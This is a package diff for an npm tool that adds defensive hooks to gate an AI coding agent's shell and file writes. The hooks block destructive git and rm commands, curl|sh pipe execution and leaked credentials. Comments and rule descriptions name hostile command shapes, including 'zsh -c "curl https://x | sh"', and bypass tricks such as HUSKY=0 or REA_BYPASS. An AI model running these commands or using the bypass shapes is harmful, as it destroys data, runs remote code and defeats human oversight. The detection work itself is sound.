@bookedsolid/rea 0.33.0 → 0.34.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/cli/hook.js CHANGED
@@ -43,6 +43,9 @@ import { runHookEnvFileProtection } from '../hooks/env-file-protection/index.js'
43
43
  import { runHookDependencyAuditGate } from '../hooks/dependency-audit-gate/index.js';
44
44
  import { runHookChangesetSecurityGate } from '../hooks/changeset-security-gate/index.js';
45
45
  import { runHookArchitectureReviewGate } from '../hooks/architecture-review-gate/index.js';
46
+ import { runHookDangerousBashInterceptor } from '../hooks/dangerous-bash-interceptor/index.js';
47
+ import { runHookLocalReviewGate } from '../hooks/local-review-gate/index.js';
48
+ import { runHookSecretScanner } from '../hooks/secret-scanner/index.js';
46
49
  import { loadPolicy } from '../policy/loader.js';
47
50
  import { appendAuditRecord, InvocationStatus, Tier } from '../audit/append.js';
48
51
  import { CODEX_REVIEW_TOOL_NAME, CODEX_REVIEW_SERVER_NAME, } from '../audit/codex-event.js';
@@ -1001,6 +1004,24 @@ export function registerHookCommand(program) {
1001
1004
  .action(async () => {
1002
1005
  await runHookArchitectureReviewGate();
1003
1006
  });
1007
+ hook
1008
+ .command('dangerous-bash-interceptor')
1009
+ .description('Node-binary port of `hooks/dangerous-bash-interceptor.sh` (0.34.0). PreToolUse Bash gate that blocks destructive commands. Catalog of 17 HIGH (H1-H17) + 1 MEDIUM (M1) rules: force-push, --no-verify, HUSKY=0, rm -rf broad targets, curl|sh pipe-RCE, REA_BYPASS, alias/function-with-bypass, psql DROP, context_protection delegate enforcement. Exit 2 on HIGH match, 0 on MEDIUM-only advisory or pass-through.')
1010
+ .action(async () => {
1011
+ await runHookDangerousBashInterceptor();
1012
+ });
1013
+ hook
1014
+ .command('local-review-gate')
1015
+ .description('Node-binary port of `hooks/local-review-gate.sh` (0.34.0). PreToolUse Bash gate refusing `git push` (and optionally `git commit`) until a recent `rea.local_review` audit entry covers HEAD. Honors `policy.review.local_review.{mode=off|enforced, refuse_at=push|commit|both, bypass_env_var}`. Mode=off short-circuits silently; bypass var (default REA_SKIP_LOCAL_REVIEW) accepts process-env (global) or per-segment inline `VAR="<reason>" git push` shapes. CTO directive 2026-05-05 enforcement.')
1016
+ .action(async () => {
1017
+ await runHookLocalReviewGate();
1018
+ });
1019
+ hook
1020
+ .command('secret-scanner')
1021
+ .description('Node-binary port of `hooks/secret-scanner.sh` (0.34.0). PreToolUse Write/Edit/MultiEdit/NotebookEdit pre-write credential gate. Catalog of 12 HIGH + 5 MEDIUM patterns (AWS, Anthropic, GitHub, Stripe live/test, Supabase JWT, generic SECRET=, private-key armor, DB connection strings). awk-style line filter strips shell comments and `process.env.VAR` RHS assignments; `is_placeholder` filter drops `<your_key>`/`test_token`/`aaaaaaa` shapes. HIGH match → exit 2; MEDIUM-only → exit 0 with advisory. Suffix-excludes `.env.example`/`.env.sample`.')
1022
+ .action(async () => {
1023
+ await runHookSecretScanner();
1024
+ });
1004
1025
  hook
1005
1026
  .command('policy-get')
1006
1027
  .description('Read a value from `.rea/policy.yaml` via the canonical YAML parser. Used by bash-tier hooks (`hooks/_lib/policy-read.sh::policy_nested_scalar`) so inline AND block YAML forms agree at a single source of truth. Default scalar mode: prints raw value or empty. With `--json`: emits JSON (scalar or object/array; missing path → `null`). Unparseable YAML → empty / null, exit 1.')
@@ -123,3 +123,105 @@ export declare function anySegmentMatches(cmd: string, regexSource: string): boo
123
123
  * (any-utility OR any-env) were AND'd across segments.
124
124
  */
125
125
  export declare function anySegmentMatchesBoth(cmd: string, regexA: string, regexB: string): boolean;
126
+ /**
127
+ * Returns true if any segment's RAW text (env-var prefixes intact, only
128
+ * leading whitespace trimmed) matches the regex source. Mirrors
129
+ * `any_segment_raw_matches` in the bash counterpart — used by checks
130
+ * where the env-prefix itself IS the signal (`HUSKY=0 git`, `REA_BYPASS=`,
131
+ * `alias … = HUSKY=0`).
132
+ *
133
+ * 0.34.0 port — dangerous-bash-interceptor (H10, H15, H16) and
134
+ * local-review-gate (env-prefix git push detection) call into this.
135
+ * Note: callers anchor with `^` in the regex source when they want
136
+ * "starts at segment head"; we do not prepend `^` here.
137
+ */
138
+ export declare function anySegmentRawMatches(cmd: string, regexSource: string): boolean;
139
+ /**
140
+ * Returns true if any segment's RAW text contains a match for the
141
+ * regex source. Mirrors `any_segment_matches` in the bash counterpart —
142
+ * used by content-scan style checks. The regex matches anywhere in the
143
+ * segment (not anchored). Useful for `(psql|pgcli)[^|&;]*DROP[[:space:]]+(TABLE|…)`
144
+ * style patterns that must match across the whole segment but only
145
+ * within a single segment (a heredoc body in segment N or commit
146
+ * message in segment 1 must NOT poison segment N+1).
147
+ *
148
+ * 0.34.0 port — dangerous-bash-interceptor H6 calls into this.
149
+ */
150
+ export declare function anySegmentContains(cmd: string, regexSource: string): boolean;
151
+ /**
152
+ * Iterate over every segment of `cmd` and invoke `callback(raw, head)`
153
+ * for each. Mirrors `for_each_segment` in the bash counterpart —
154
+ * dangerous-bash-interceptor H1 uses this to walk each push segment
155
+ * independently (since one segment may include `--force-with-lease`
156
+ * while another carries an unsafe `--force`).
157
+ *
158
+ * The callback receives the raw segment (env-prefix preserved) and the
159
+ * prefix-stripped head. Return value is ignored.
160
+ *
161
+ * 0.34.0 port.
162
+ */
163
+ export declare function forEachSegment(cmd: string, callback: (raw: string, head: string) => void): void;
164
+ /**
165
+ * Quote-aware mask of in-quote separators. Mirrors `quote_masked_cmd`
166
+ * in the bash counterpart — produces a string where in-quote `|` / `;`
167
+ * / `&` characters are replaced with multi-byte sentinels so a caller's
168
+ * regex can match real (unquoted) instances of those bytes without
169
+ * false-positiving on quoted commit-message bodies (`git commit -m
170
+ * "curl|sh later"`).
171
+ *
172
+ * 0.34.0 port — dangerous-bash-interceptor H12 (`curl|sh` detection)
173
+ * uses this to scan the WHOLE command (not split into segments)
174
+ * without quoted-mention false positives.
175
+ *
176
+ * Implementation uses the same sentinel-byte alphabet the bash helper
177
+ * uses. Sentinels are public so callers can `.test()` against the
178
+ * masked output without accidentally tripping on them.
179
+ */
180
+ export declare const INQUOTE_PIPE_SENTINEL = "__REA_INQUOTE_PIPE_a8f2c1__";
181
+ export declare const INQUOTE_SEMI_SENTINEL = "__REA_INQUOTE_SC_a8f2c1__";
182
+ export declare const INQUOTE_AMP_SENTINEL = "__REA_INQUOTE_AMP_a8f2c1__";
183
+ export declare function quoteMaskedCmd(cmd: string): string;
184
+ /**
185
+ * Walk the nested-shell unwrap chain and emit `cmd` PLUS each inner
186
+ * payload as a separate string. Mirrors `_rea_unwrap_nested_shells`
187
+ * in the bash counterpart.
188
+ *
189
+ * Used by dangerous-bash-interceptor H12 (`curl|sh` detection) so a
190
+ * payload like `zsh -c "curl https://x | sh"` is scanned for the pipe
191
+ * shape even though the literal `|` is inside quotes at the outer
192
+ * level. The H12 check then runs `quoteMaskedCmd` against each
193
+ * emitted line independently.
194
+ *
195
+ * Depth-bounded at MAX_NESTED_DEPTH (8) — same as `splitSegments`.
196
+ *
197
+ * 0.34.0 port.
198
+ */
199
+ export declare function unwrapNestedShells(cmd: string): string[];
200
+ /**
201
+ * Return every segment of `cmd` whose prefix-stripped head matches the
202
+ * head-anchored regex source. Mirrors `find_all_segments_starting_with`
203
+ * in the bash counterpart.
204
+ *
205
+ * Returns each match as `{ raw, head }` so callers (local-review-gate's
206
+ * round-25 P1-B sweep) can validate per-segment bypass against the
207
+ * raw (env-prefix-intact) form.
208
+ *
209
+ * Case-INSENSITIVE. Empty array on no matches.
210
+ *
211
+ * 0.34.0 port.
212
+ */
213
+ export declare function findAllSegmentsStartingWith(cmd: string, regexSource: string): CommandSegment[];
214
+ /**
215
+ * Return every segment of `cmd` whose RAW text (env-prefix intact,
216
+ * leading whitespace trimmed) matches the regex source. Mirrors
217
+ * `find_all_segments_raw_matches` in the bash counterpart.
218
+ *
219
+ * Companion to `findAllSegmentsStartingWith` for the env-prefix shapes
220
+ * the prefix-stripper bails on (quoted-value env-vars like
221
+ * `REA_SKIP="urgent fix"`).
222
+ *
223
+ * Case-INSENSITIVE. Empty array on no matches.
224
+ *
225
+ * 0.34.0 port.
226
+ */
227
+ export declare function findAllSegmentsRawMatches(cmd: string, regexSource: string): CommandSegment[];
@@ -764,3 +764,293 @@ export function anySegmentMatchesBoth(cmd, regexA, regexB) {
764
764
  }
765
765
  return false;
766
766
  }
767
+ /**
768
+ * Returns true if any segment's RAW text (env-var prefixes intact, only
769
+ * leading whitespace trimmed) matches the regex source. Mirrors
770
+ * `any_segment_raw_matches` in the bash counterpart — used by checks
771
+ * where the env-prefix itself IS the signal (`HUSKY=0 git`, `REA_BYPASS=`,
772
+ * `alias … = HUSKY=0`).
773
+ *
774
+ * 0.34.0 port — dangerous-bash-interceptor (H10, H15, H16) and
775
+ * local-review-gate (env-prefix git push detection) call into this.
776
+ * Note: callers anchor with `^` in the regex source when they want
777
+ * "starts at segment head"; we do not prepend `^` here.
778
+ */
779
+ export function anySegmentRawMatches(cmd, regexSource) {
780
+ const re = new RegExp(regexSource, 'i');
781
+ for (const seg of splitSegments(cmd)) {
782
+ const trimmed = seg.raw.replace(/^\s+/, '');
783
+ if (re.test(trimmed))
784
+ return true;
785
+ }
786
+ return false;
787
+ }
788
+ /**
789
+ * Returns true if any segment's RAW text contains a match for the
790
+ * regex source. Mirrors `any_segment_matches` in the bash counterpart —
791
+ * used by content-scan style checks. The regex matches anywhere in the
792
+ * segment (not anchored). Useful for `(psql|pgcli)[^|&;]*DROP[[:space:]]+(TABLE|…)`
793
+ * style patterns that must match across the whole segment but only
794
+ * within a single segment (a heredoc body in segment N or commit
795
+ * message in segment 1 must NOT poison segment N+1).
796
+ *
797
+ * 0.34.0 port — dangerous-bash-interceptor H6 calls into this.
798
+ */
799
+ export function anySegmentContains(cmd, regexSource) {
800
+ const re = new RegExp(regexSource, 'i');
801
+ for (const seg of splitSegments(cmd)) {
802
+ if (re.test(seg.head))
803
+ return true;
804
+ }
805
+ return false;
806
+ }
807
+ /**
808
+ * Iterate over every segment of `cmd` and invoke `callback(raw, head)`
809
+ * for each. Mirrors `for_each_segment` in the bash counterpart —
810
+ * dangerous-bash-interceptor H1 uses this to walk each push segment
811
+ * independently (since one segment may include `--force-with-lease`
812
+ * while another carries an unsafe `--force`).
813
+ *
814
+ * The callback receives the raw segment (env-prefix preserved) and the
815
+ * prefix-stripped head. Return value is ignored.
816
+ *
817
+ * 0.34.0 port.
818
+ */
819
+ export function forEachSegment(cmd, callback) {
820
+ for (const seg of splitSegments(cmd)) {
821
+ callback(seg.raw, seg.head);
822
+ }
823
+ }
824
+ /**
825
+ * Quote-aware mask of in-quote separators. Mirrors `quote_masked_cmd`
826
+ * in the bash counterpart — produces a string where in-quote `|` / `;`
827
+ * / `&` characters are replaced with multi-byte sentinels so a caller's
828
+ * regex can match real (unquoted) instances of those bytes without
829
+ * false-positiving on quoted commit-message bodies (`git commit -m
830
+ * "curl|sh later"`).
831
+ *
832
+ * 0.34.0 port — dangerous-bash-interceptor H12 (`curl|sh` detection)
833
+ * uses this to scan the WHOLE command (not split into segments)
834
+ * without quoted-mention false positives.
835
+ *
836
+ * Implementation uses the same sentinel-byte alphabet the bash helper
837
+ * uses. Sentinels are public so callers can `.test()` against the
838
+ * masked output without accidentally tripping on them.
839
+ */
840
+ export const INQUOTE_PIPE_SENTINEL = '__REA_INQUOTE_PIPE_a8f2c1__';
841
+ export const INQUOTE_SEMI_SENTINEL = '__REA_INQUOTE_SC_a8f2c1__';
842
+ export const INQUOTE_AMP_SENTINEL = '__REA_INQUOTE_AMP_a8f2c1__';
843
+ export function quoteMaskedCmd(cmd) {
844
+ // 4-state walker mirroring the bash awk:
845
+ // 0 = plain
846
+ // 1 = inside "…" (backslash escapes next char)
847
+ // 2 = inside '…' (no escapes)
848
+ // 3 = inside $'…' (ANSI-C; backslash escapes next char)
849
+ // In modes 1/2/3, in-quote `|`/`;`/`&` are replaced with sentinels.
850
+ // The opening `$'` is preserved verbatim (caller code that detects
851
+ // ANSI-C envelopes still sees them).
852
+ let out = '';
853
+ let i = 0;
854
+ const n = cmd.length;
855
+ let mode = 0;
856
+ while (i < n) {
857
+ const ch = cmd[i];
858
+ if (mode === 0) {
859
+ if (ch === '$' && i + 1 < n && cmd[i + 1] === "'") {
860
+ mode = 3;
861
+ out += "$'";
862
+ i += 2;
863
+ continue;
864
+ }
865
+ if (ch === '"') {
866
+ mode = 1;
867
+ out += ch;
868
+ i += 1;
869
+ continue;
870
+ }
871
+ if (ch === "'") {
872
+ mode = 2;
873
+ out += ch;
874
+ i += 1;
875
+ continue;
876
+ }
877
+ if (ch === '\\' && i + 1 < n) {
878
+ out += ch + cmd[i + 1];
879
+ i += 2;
880
+ continue;
881
+ }
882
+ out += ch;
883
+ i += 1;
884
+ continue;
885
+ }
886
+ if (mode === 3) {
887
+ if (ch === '\\' && i + 1 < n) {
888
+ out += ch + cmd[i + 1];
889
+ i += 2;
890
+ continue;
891
+ }
892
+ if (ch === "'") {
893
+ mode = 0;
894
+ out += ch;
895
+ i += 1;
896
+ continue;
897
+ }
898
+ if (ch === '|') {
899
+ out += INQUOTE_PIPE_SENTINEL;
900
+ i += 1;
901
+ continue;
902
+ }
903
+ if (ch === ';') {
904
+ out += INQUOTE_SEMI_SENTINEL;
905
+ i += 1;
906
+ continue;
907
+ }
908
+ if (ch === '&') {
909
+ out += INQUOTE_AMP_SENTINEL;
910
+ i += 1;
911
+ continue;
912
+ }
913
+ out += ch;
914
+ i += 1;
915
+ continue;
916
+ }
917
+ if (mode === 2) {
918
+ if (ch === "'") {
919
+ mode = 0;
920
+ out += ch;
921
+ i += 1;
922
+ continue;
923
+ }
924
+ if (ch === '|') {
925
+ out += INQUOTE_PIPE_SENTINEL;
926
+ i += 1;
927
+ continue;
928
+ }
929
+ if (ch === ';') {
930
+ out += INQUOTE_SEMI_SENTINEL;
931
+ i += 1;
932
+ continue;
933
+ }
934
+ if (ch === '&') {
935
+ out += INQUOTE_AMP_SENTINEL;
936
+ i += 1;
937
+ continue;
938
+ }
939
+ out += ch;
940
+ i += 1;
941
+ continue;
942
+ }
943
+ // mode === 1
944
+ if (ch === '\\' && i + 1 < n) {
945
+ out += ch + cmd[i + 1];
946
+ i += 2;
947
+ continue;
948
+ }
949
+ if (ch === '"') {
950
+ mode = 0;
951
+ out += ch;
952
+ i += 1;
953
+ continue;
954
+ }
955
+ if (ch === '|') {
956
+ out += INQUOTE_PIPE_SENTINEL;
957
+ i += 1;
958
+ continue;
959
+ }
960
+ if (ch === ';') {
961
+ out += INQUOTE_SEMI_SENTINEL;
962
+ i += 1;
963
+ continue;
964
+ }
965
+ if (ch === '&') {
966
+ out += INQUOTE_AMP_SENTINEL;
967
+ i += 1;
968
+ continue;
969
+ }
970
+ out += ch;
971
+ i += 1;
972
+ }
973
+ return out;
974
+ }
975
+ /**
976
+ * Walk the nested-shell unwrap chain and emit `cmd` PLUS each inner
977
+ * payload as a separate string. Mirrors `_rea_unwrap_nested_shells`
978
+ * in the bash counterpart.
979
+ *
980
+ * Used by dangerous-bash-interceptor H12 (`curl|sh` detection) so a
981
+ * payload like `zsh -c "curl https://x | sh"` is scanned for the pipe
982
+ * shape even though the literal `|` is inside quotes at the outer
983
+ * level. The H12 check then runs `quoteMaskedCmd` against each
984
+ * emitted line independently.
985
+ *
986
+ * Depth-bounded at MAX_NESTED_DEPTH (8) — same as `splitSegments`.
987
+ *
988
+ * 0.34.0 port.
989
+ */
990
+ export function unwrapNestedShells(cmd) {
991
+ const out = [cmd];
992
+ unwrapNestedShellsRecursive(cmd, 0, out);
993
+ return out;
994
+ }
995
+ function unwrapNestedShellsRecursive(cmd, depth, acc) {
996
+ if (depth >= MAX_NESTED_DEPTH)
997
+ return;
998
+ // Walk segments so a heredoc-style or multi-line command gets each
999
+ // segment's inner payload extracted independently.
1000
+ const masked = maskQuotedSeparators(cmd);
1001
+ const rawSegs = splitOnUnquotedSeparators(masked);
1002
+ for (const raw of rawSegs) {
1003
+ const unmaskedRaw = unmask(raw);
1004
+ const head = stripSegmentPrefix(unmaskedRaw);
1005
+ const inner = extractNestedShellPayload(head);
1006
+ if (inner !== null) {
1007
+ acc.push(inner);
1008
+ unwrapNestedShellsRecursive(inner, depth + 1, acc);
1009
+ }
1010
+ }
1011
+ }
1012
+ /**
1013
+ * Return every segment of `cmd` whose prefix-stripped head matches the
1014
+ * head-anchored regex source. Mirrors `find_all_segments_starting_with`
1015
+ * in the bash counterpart.
1016
+ *
1017
+ * Returns each match as `{ raw, head }` so callers (local-review-gate's
1018
+ * round-25 P1-B sweep) can validate per-segment bypass against the
1019
+ * raw (env-prefix-intact) form.
1020
+ *
1021
+ * Case-INSENSITIVE. Empty array on no matches.
1022
+ *
1023
+ * 0.34.0 port.
1024
+ */
1025
+ export function findAllSegmentsStartingWith(cmd, regexSource) {
1026
+ const re = new RegExp(`^${regexSource}`, 'i');
1027
+ const out = [];
1028
+ for (const seg of splitSegments(cmd)) {
1029
+ if (re.test(seg.head))
1030
+ out.push(seg);
1031
+ }
1032
+ return out;
1033
+ }
1034
+ /**
1035
+ * Return every segment of `cmd` whose RAW text (env-prefix intact,
1036
+ * leading whitespace trimmed) matches the regex source. Mirrors
1037
+ * `find_all_segments_raw_matches` in the bash counterpart.
1038
+ *
1039
+ * Companion to `findAllSegmentsStartingWith` for the env-prefix shapes
1040
+ * the prefix-stripper bails on (quoted-value env-vars like
1041
+ * `REA_SKIP="urgent fix"`).
1042
+ *
1043
+ * Case-INSENSITIVE. Empty array on no matches.
1044
+ *
1045
+ * 0.34.0 port.
1046
+ */
1047
+ export function findAllSegmentsRawMatches(cmd, regexSource) {
1048
+ const re = new RegExp(regexSource, 'i');
1049
+ const out = [];
1050
+ for (const seg of splitSegments(cmd)) {
1051
+ const trimmed = seg.raw.replace(/^\s+/, '');
1052
+ if (re.test(trimmed))
1053
+ out.push(seg);
1054
+ }
1055
+ return out;
1056
+ }
@@ -0,0 +1,103 @@
1
+ /**
2
+ * Node-binary port of `hooks/dangerous-bash-interceptor.sh`.
3
+ *
4
+ * 0.34.0 Phase 2 port #1 (tier-2 medium-complexity hooks with enforcer
5
+ * logic). This is the agent-runaway gate — it refuses destructive Bash
6
+ * commands before Claude Code dispatches them. Every refusal class in
7
+ * the 414-LOC bash body must be preserved byte-for-byte; the bypass
8
+ * corpus pinned across 0.13–0.27 demands it.
9
+ *
10
+ * Behavioral contract — preserves the bash hook byte-for-byte:
11
+ *
12
+ * 1. HALT check → exit 2 with the shared banner.
13
+ * 2. Read stdin, extract `tool_input.command`. Non-Bash payloads or
14
+ * empty command → exit 0.
15
+ * 3. Compute smart exclusion flags:
16
+ * - `CMD_IS_REBASE_SAFE` → segments that begin with
17
+ * `git rebase --abort|--continue` skip the H2 rebase advisory.
18
+ * - `CMD_IS_CLEAN_DRY` → segments that begin with
19
+ * `git clean -n|--dry-run` skip the H5 destructive-clean check.
20
+ * 4. Run every HIGH check (H1–H17, M1) against the command. Each
21
+ * check returns 0..N matches; matches are accumulated into the
22
+ * violations table. The accumulator preserves the original bash
23
+ * hook's first-match-wins-per-check semantics — H1 fires once
24
+ * per command even if multiple push segments are unsafe.
25
+ * 5. If any HIGH match → emit "BASH INTERCEPTED" banner + exit 2.
26
+ * Else if MEDIUM-only → emit "BASH ADVISORY" banner + exit 0.
27
+ * Else exit 0 silently.
28
+ *
29
+ * The pattern catalog is in `RULES` below. Each rule is a self-
30
+ * contained closure with a stable identifier (`H1`, `H2`, …) so a
31
+ * future rule addition lands as a one-line array push, not a rewrite.
32
+ * Identifiers match the bash hook's `add_high "H<N>: …"` shape so
33
+ * audit/log consumers grepping for `H12` continue to work.
34
+ *
35
+ * Key parity choices:
36
+ *
37
+ * - Segment-anchored detection via `anySegmentStartsWith` (and
38
+ * `forEachSegment` for per-segment work). The bash 0.15.0 fix
39
+ * (segment-aware instead of full-command grep) is reproduced here.
40
+ * - Env-var-prefix shapes (H10 `HUSKY=0 git`, H15 `REA_BYPASS=…`,
41
+ * H16 alias/function defs) use `anySegmentRawMatches` since the
42
+ * prefix IS the signal — `stripSegmentPrefix` would eat it.
43
+ * - H12 (`curl|sh` pipe-RCE) scans the whole command via
44
+ * `quoteMaskedCmd` because pipe-RCE is a multi-segment property
45
+ * (`|` is the separator that joins curl to sh). The bash hook's
46
+ * `_rea_unwrap_nested_shells` is mirrored via `unwrapNestedShells`
47
+ * so inner payloads of `bash -c "curl … | sh"` are also scanned.
48
+ * - H17 (context-protection) reads
49
+ * `policy.context_protection.delegate_to_subagent` via the canonical
50
+ * YAML loader (matches the bash hook's 0.16.0 fix J.2).
51
+ */
52
+ import type { Buffer } from 'node:buffer';
53
+ export interface DangerousBashOptions {
54
+ reaRoot?: string;
55
+ stdinOverride?: string | Buffer;
56
+ stderrWrite?: (s: string) => void;
57
+ }
58
+ export interface DangerousBashResult {
59
+ exitCode: number;
60
+ stderr: string;
61
+ /** Test seam — violations the run accumulated, in catalog order. */
62
+ violations: Violation[];
63
+ }
64
+ export interface Violation {
65
+ severity: 'HIGH' | 'MEDIUM';
66
+ /** Stable identifier (`H1`, `H10`, `M1`, …) — matches bash labels. */
67
+ id: string;
68
+ /** Banner headline. */
69
+ label: string;
70
+ /** Banner explanation paragraph. */
71
+ detail: string;
72
+ /** Suggested alternatives. */
73
+ alternatives: string[];
74
+ }
75
+ /**
76
+ * Rule descriptor + execution closure. The closure receives the raw
77
+ * command + the active exclusion flags and returns 0..N violations
78
+ * for that rule.
79
+ */
80
+ interface RuleContext {
81
+ cmd: string;
82
+ cmdIsRebaseSafe: boolean;
83
+ cmdIsCleanDry: boolean;
84
+ delegatePatterns: string[];
85
+ }
86
+ interface Rule {
87
+ id: string;
88
+ severity: 'HIGH' | 'MEDIUM';
89
+ run: (ctx: RuleContext) => Violation[];
90
+ }
91
+ /**
92
+ * Pure executor. Returns `{ exitCode, stderr, violations }`; the CLI
93
+ * wrapper translates them into `process.stderr.write` + `process.exit`.
94
+ */
95
+ export declare function runDangerousBashInterceptor(options?: DangerousBashOptions): Promise<DangerousBashResult>;
96
+ /**
97
+ * CLI entry point — `rea hook dangerous-bash-interceptor`.
98
+ */
99
+ export declare function runHookDangerousBashInterceptor(options?: DangerousBashOptions): Promise<void>;
100
+ export declare const __INTERNAL_FOR_TESTS: {
101
+ RULES: readonly Rule[];
102
+ };
103
+ export {};